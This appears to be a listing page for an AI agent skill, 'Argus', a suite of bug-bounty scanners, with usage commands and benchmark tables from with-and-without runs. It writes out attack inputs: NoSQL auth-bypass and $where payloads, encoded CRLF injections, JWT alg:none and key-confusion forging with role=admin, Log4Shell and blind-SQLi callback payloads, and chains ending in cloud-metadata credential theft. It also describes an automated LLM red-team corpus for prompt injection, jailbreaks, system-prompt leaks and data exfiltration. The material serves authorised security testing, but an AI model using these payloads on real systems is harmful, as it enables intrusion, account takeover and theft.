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Get Started Free →Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack), out-of-band confirmation of blind SSRF/XXE/SQLi/RCE/Log4Shell via interactsh, and an LLM red-team corpus (prompt-injection / jailbreak / system-prompt leak / exfil / indirect injecti
.claude/skills/shuvonsec-argus/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-02 | ✗→✓ | ▲ Improved | 95% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 70% | 0% |
| case-09 | ✗→✓ | ▲ Improved | -15% | 0% |
| case-11 | ✗→✓ | ▲ Improved | 20% | 0% |
| case-12 | ✗→✓ | ▲ Improved | 85% | 0% |
> Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what > ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the > NoSQL "db" surface, JWT forging, blind-bug confirmation via OOB (the eye > that sees the invisible — unblocks an entire severity band), and automated LLM > red-teaming. All pure-Python, no new deps. Core logic is offline-testable.
| Signal on the target | Tool / command | |---|---| | API reflects Origin, or ACAO/ACAC headers seen | /cors | | Param reaches a redirect / Location / log / response header | /crlf | | JSON login or {user,pass} body, Mongo/Mongoose stack | /nosqli | | Authorization: Bearer ey... / JWT in cookie or storage | /jwt-scan | | Suspected blind SSRF/XXE/SQLi/RCE (no in-band signal) | /oob | | Chatbot / agent / LLM feature | /llm-redteam |
/corsbashtools/cors_scanner.py https://api.target.com/me --cookie "session=..." tools/cors_scanner.py -l recon/target.com/urls/api.txt --json
Sends crafted Origin headers, classifies Access-Control-Allow-Origin / Access-Control-Allow-Credentials:
ACAC: true → cookie-auth'd cross-origin read (account-data exfil).null origin trusted with credentials.target.com.evil, notarget.com) and subdomain trust (chains with takeover).Always pass --cookie with a live session — the credentialed path is the win.
/crlfbashtools/crlf_scanner.py "https://target.com/r?u=x" --host-header
Injects encoded CRLF (%0d%0a, double-encoded, UTF-8 overlong %E5%98%8A%E5%98%8D) trying to land Set-Cookie: crlftest=1 in the response. --host-header also tests Host / X-Forwarded-Host / Forwarded injection and flags attacker-host reflection in Location (password-reset poisoning). Impact: session fixation, open redirect, cache poisoning, reset poisoning.
> urllib strips raw \r\n from URLs by design — the encoded variants are > what actually go on the wire.
/nosqlibashtools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password tools/nosqli_scanner.py --query "https://t/api/items?id=1" # emits bracket variants
{"email":{"$ne":null},"password":{"$ne":null}}email[$ne]=&password[$ne]=$where time-based blind: {"$where":"sleep(5000)"} → server-side JS eval = CRITICALSends a wrong-credential baseline first, flags a finding when status flips 401→200, body length jumps >25%, or the $where payload delays the response ≥3.5 s.
/jwt-scan (offline)bashtools/jwt_scanner.py "$TOKEN" --analyze tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt
--alg-none — strip signature, set alg to none/None/NONE/nOnE.--confuse — RS256→HS256: re-sign with the server's public key as HMAC secret.--crack — brute the HS256 secret.--analyze — flags alg=none, missing exp, trust-bearing claims (role/is_admin/scope), kid (probe for traversal/SQLi).Get the public key from /.well-known/jwks.json or /jwks.json. Replay the forged token against an authed endpoint — acceptance = auth bypass / privesc.
/oob ⭐The highest-leverage tool. Confirms blind bugs that have no in-band signal by correlating interactsh callbacks to the firing payload.
bash# 1. listener (prints your OOB domain, streams interactions) tools/oob_listener.py --listen > inter.jsonl # 2. payloads embedding a unique marker per injection point tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json # 3. correlate received callbacks tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json
Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL xp_dirtree / MySQL LOAD_FILE / Oracle UTL_HTTP / Postgres COPY…PROGRAM), RCE (curl/nslookup/backticks), and Log4Shell (${jndi:ldap://…} + ${lower:j} filter bypass). Needs interactsh-client (/arsenal interactsh-client for the install hint); payload generation + correlation work offline without it.
Why it matters: without OOB you cannot prove blind SSRF/XXE/SQLi/RCE — a whole band of Critical findings is otherwise un-submittable.
/llm-redteambashtools/llm_redteam.py --url https://t/api/chat --field message tools/llm_redteam.py --url https://t/api/chat \ --template '{"messages":[{"role":"user","content":"{{PAYLOAD}}"}]}' \ --response-path choices.0.message.content --category jailbreak
Fires a categorized corpus — prompt-injection, jailbreak, system-prompt-leak, data-exfil, indirect-injection, guardrail-bypass — and uses a canary token (RT_PWNED_xxxx) for reliable hit detection. --header "Authorization: Bearer ..." for authed bots.
> A bare injection is Informational until chained. Escalate to chatbot IDOR, > data exfil (the markdown-beacon hit proves a channel), or RCE if the agent has > a code/tool capability. See web2-vuln-classes §11 > and bug-bounty Agentic AI (ASI01–ASI10).
--alg-none/--confuse + --set role=admin) → privesc → IDOR sweep./oob) → cloud metadata → credential theft.| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-03 | fail→fail | 10,490 | 7,062 | -33% | 1 | 1 | 0% | 1,126 | 2,637 | +134% | 0 | 0 | — |
case-01 | fail→fail | 9,933 | 23,908 | +141% | 1 | 1 | 0% | 1,100 | 2,791 | +154% | 0 | 0 | — |
case-02 | fail→pass | 11,872 | 9,965 | -16% | 1 | 1 | 0% | 2,039 | 3,969 | +95% | 0 | 0 | — |
case-04 | fail→fail | 7,951 | 8,218 | +3% | 1 | 1 | 0% | 761 | 2,674 | +251% | 0 | 0 | — |
case-05 | fail→pass | 8,619 | 4,076 | -53% | 1 | 1 | 0% | 1,492 | 2,543 | +70% | 0 | 0 | — |
case-06 | fail→fail | 8,840 | 10,500 | +19% | 1 | 1 | 0% | 1,074 | 2,935 | +173% | 0 | 0 | — |
case-07 | fail→fail | 10,107 | 8,033 | -21% | 1 | 1 | 0% | 1,103 | 2,474 | +124% | 0 | 0 | — |
case-08 | fail→fail | 8,750 | 7,874 | -10% | 1 | 1 | 0% | 950 | 2,490 | +162% | 0 | 0 | — |
case-09 | fail→pass | 17,479 | 2,889 | -83% | 1 | 1 | 0% | 2,932 | 2,489 | -15% | 0 | 0 | — |
case-10 | fail→fail | 11,309 | 11,413 | +1% | 1 | 1 | 0% | 817 | 2,732 | +234% | 0 | 0 | — |
case-11 | fail→pass | 12,479 | 2,299 | -82% | 1 | 1 | 0% | 1,937 | 2,333 | +20% | 0 | 0 | — |
case-12 | fail→pass | 7,829 | 1,740 | -78% | 1 | 1 | 0% | 1,198 | 2,211 | +85% | 0 | 0 | — |
case-13 | fail→fail | 9,007 | 9,500 | +5% | 1 | 1 | 0% | 901 | 2,848 | +216% | 0 | 0 | — |
case-14 | fail→pass | 15,755 | 15,861 | +1% | 1 | 1 | 0% | 2,667 | 3,729 | +40% | 0 | 0 | — |
case-15 | fail→fail | 8,560 | 9,132 | +7% | 1 | 1 | 0% | 1,039 | 2,605 | +151% | 0 | 0 | — |
case-16 | fail→fail | 8,051 | 8,125 | +1% | 1 | 1 | 0% | 819 | 2,518 | +207% | 0 | 0 | — |
case-17 | fail→fail | 14,180 | 18,478 | +30% | 1 | 1 | 0% | 2,503 | 3,669 | +47% | 0 | 0 | — |
case-18 | fail→pass | 15,165 | 13,647 | -10% | 1 | 1 | 0% | 2,256 | 2,931 | +30% | 0 | 0 | — |
case-19 | pass→pass | 14,384 | 19,535 | +36% | 1 | 1 | 0% | 1,985 | 3,607 | +82% | 0 | 0 | — |
case-20 | fail→fail | 7,278 | 13,090 | +80% | 1 | 1 | 0% | 708 | 3,156 | +346% | 0 | 0 | — |
case-21 | pass→pass | 7,566 | 9,226 | +22% | 1 | 1 | 0% | 1,201 | 3,290 | +174% | 0 | 0 | — |
case-22 | pass→pass | 13,144 | 9,066 | -31% | 1 | 1 | 0% | 2,170 | 3,412 | +57% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +32 percentage points is the difference between those two pass rates over the 22 comparable cases.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.